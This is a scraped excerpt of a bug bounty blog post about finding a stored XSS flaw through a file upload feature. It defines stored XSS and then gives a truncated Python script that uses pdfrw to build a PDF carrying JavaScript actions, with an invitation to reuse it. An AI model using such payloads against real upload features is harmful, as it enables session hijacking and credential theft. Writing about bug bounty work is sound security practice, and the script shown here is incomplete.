Day 14 Bug Bounty Challenge — Found $1000 Stored XSS

9 months ago 43

BOOK THIS SPACE FOR AD

ARTICLE AD

Day 14

Hi there! It’s cyberbeat again, I was having a hard time getting back to the challenge, but I did it. I will post my results continuously now and won’t disappoint all again. Let’s get down to the main thing.

Let’s get down to basics first, what is Stored XSS?

Stored Cross Site Scripting (or XSS) is one of the vulnerability in web application where the attacker stores malicious payload in the system and execute when clicked or the page is loaded.

The attacker can perform the following malicious actions —

Steal User credentialsObtain sensitive information of the userWebsite defacementHijack the victim’s session and perform actions on their behalfPort scanning of the host connected.

Let’s get down to the main story. So I was trying to find bugs for the program and the program had file upload functionality. I wanted to check if there are any vulnerability in that functionality.

So I logged in and was using random payloads for the attack. The following payload worked. You can use for your own use too.

import sys
from pdfrw import PdfWriter
from pdfrw.objects.pdfname import PdfName
from pdfrw.objects.pdfstring import PdfString
from pdfrw.objects.pdfdict import PdfDict
from pdfrw.objects.pdfarray import PdfArray
def make_js_action(js):
action = PdfDict()
action.S = PdfName.JavaScript
action.JS = js
return action
def make_field(name, x, y, width, height, r, g, b, value=""):
annot = PdfDict()
annot.Type = PdfName.Annot
annot.Subtype = PdfName.Widget
annot.FT = PdfName.Tx
annot.Ff = 2
annot.Rect = PdfArray([x, y, x + width, y + height])
annot.MaxLen = 160
annot.T = PdfString.encode(name)
annot.V = PdfString.encode(value)
# Default appearance stream can be arbitrary PDF XObject
annot.AP = PdfDict()
ap = annot.AP.N = PdfDict()…

Read Entire Article